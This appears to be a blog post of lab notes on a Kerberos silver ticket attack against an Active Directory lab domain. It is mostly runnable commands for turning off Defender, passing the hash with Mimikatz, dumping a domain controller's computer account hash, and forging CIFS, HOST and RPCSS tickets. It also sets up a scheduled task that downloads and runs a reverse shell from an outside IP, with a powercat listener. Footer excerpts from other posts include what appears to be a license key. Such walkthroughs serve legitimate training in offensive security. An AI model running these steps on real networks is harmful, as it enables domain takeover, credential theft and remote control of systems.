Skip to main content

Domain dominance, Silver ticket attack - Part 4

 

For golden ticket the trust is the hash of krbtgt account hash. If dc successfully decrypts the TGT using krbtgt account hash, then it assumes that its a valid TGT. 

For silver ticket the trust is the service account or computer account ntlm/rc4 password hash. If application or service successfully decrypts that then it assumes that its a valid TGS. 

In dc, most of the services are running under the context of computer account as service account. i.e. cifs runs with the help of computer account etc. So we will target computer account. Keep in mind that computer account password are changed by default in 30 days by the system. So for maintaining persistence either you can download grade the security so that system not to change computer account password in 30 days or after a period of 30 days you need to collect the new computer account ntlm or rc4 hash again. 

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

From dc with DA privilege run the below command:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc

or

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' 

Take the dcorp-dc$ computer ntlm or rc4 hash.

Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:cifs /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

Now you will get the silver ticket. Give klist command to see that. 

Using that ticket access cifs service:

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

You will get access. 


Command Execution using silver ticket:

There are various ways to achieve command execution using silver ticket:

So we will create a HOST SPN that will allow us to schedule a task on the target which in turn help us to execute commands. Follow the above task first.

Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

Give klist command to see. 

Now lets see we can list tasks on the remote dc box or not, from studentadmin machine:

schtasks /S dcorp-dc.dollarcorp.moneycorp.local

By default the hfs web server will listen on port 8080 but we will make it to listen on port 443 by modifying the script a bit. Go to the script and add the following line at the end of the script:

Invoke-PowershellTcp -Reverse IPAddress 172.16.50.100 -Port 443

Now from your studentadmin machine, launch powercat in another powershell session:

. .\PowerCat.ps1
powercat -lvp 443 -t 1000

Then run the main command from studentadmin machine other powershell session. Admin session not required. Non-admin powershell session will also work:

schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString(' 'http://172.16.50.100/Invoke-PowershellTcp.ps1''')'"

or

schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString('http://172.16.50.100/Invoke-PowershellTcp.ps1')'"


Now run the task:

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "STCheck"

You will get the reverse shell now.


Code or command execution via WMI. 

It requires HOST SPN and RPCSS service. We already have HOST service. Now lets do it for RPCSS. 

From a non-elevated shell of studentadmin user:

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

From that same machine:

gwmi -Class Win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local


Avi


Comments

Popular posts from this blog

API hacking lab setup

 Follow the commands to install and configure API hacking lab: 1. Install kali linux and update all the packages.  apt update -y apt upgrade -y or apt dist-upgrade -y or apt full-upgrade -y If you face any problem regarding update, install cloud flare warp in the host machine, then again start updating packages in your kali vm.  2. Install and configure burpsuite professional.  Open burpsuite and go to Extender tab. Click on BAppStore. Search for Autorize extension, It will help us to automate authorization testing. Click on Download Jython. From Jython website click on Jython standalone and save it. Go to Extender > Options and under python environment select the jython jar file that you just downloaded. Now again go to BAppStore and re-search for Autorize extension. You will see Install option this time after selecting Autorize extension. Install it. You will see all the installed extensions under Extender > Extensions tab.  3. Install foxy proxy to prox...

Installing Codename SCNR web application scanner on ubuntu | kali

  Perform the following steps from a non-root user. We will go for manual installation.  https://github.com/scnr/installer?tab=readme-ov-file#manual-installation https://github.com/scnr/installer/releases wget https://github.com/scnr/installer/releases/download/v1.7.3/scnr-v1.7.3-linux-x86_64.tar.gz   (Download using normal user) tar -xvzf scnr-v1.7.3-linux-x86_64.tar.gz cd scnr-v1.7.3 cd bin Now go to their website ( https://ecsypno.com/products/scnr ) and subscribe for community edition license from your official email.  ./scnr_activate 6XQ97FW3LVBECD0UJ5H214 ./scnr https://www.example.net/Login.aspx --system-slots-override Now they generate .ser format report after testing the application by default which is hard to read. We need html report. So for example, to generate an HTML report: ./scnr_reporter --report=html:outfile=my_report.html.zip /home/user/.scnr/reports/report.ser Avi

Install Nessus from docker

Docker installation. Give the below commands one by one. apt install docker-cli or apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock. Is the docker daemon running? " This is because you may installed podman-docker package. If you remove the package still you will get this error but you should remove the package. Then issue this command: env | grep -i docker DOCKER_HOST=unix:///run/podman/podman.sock   --...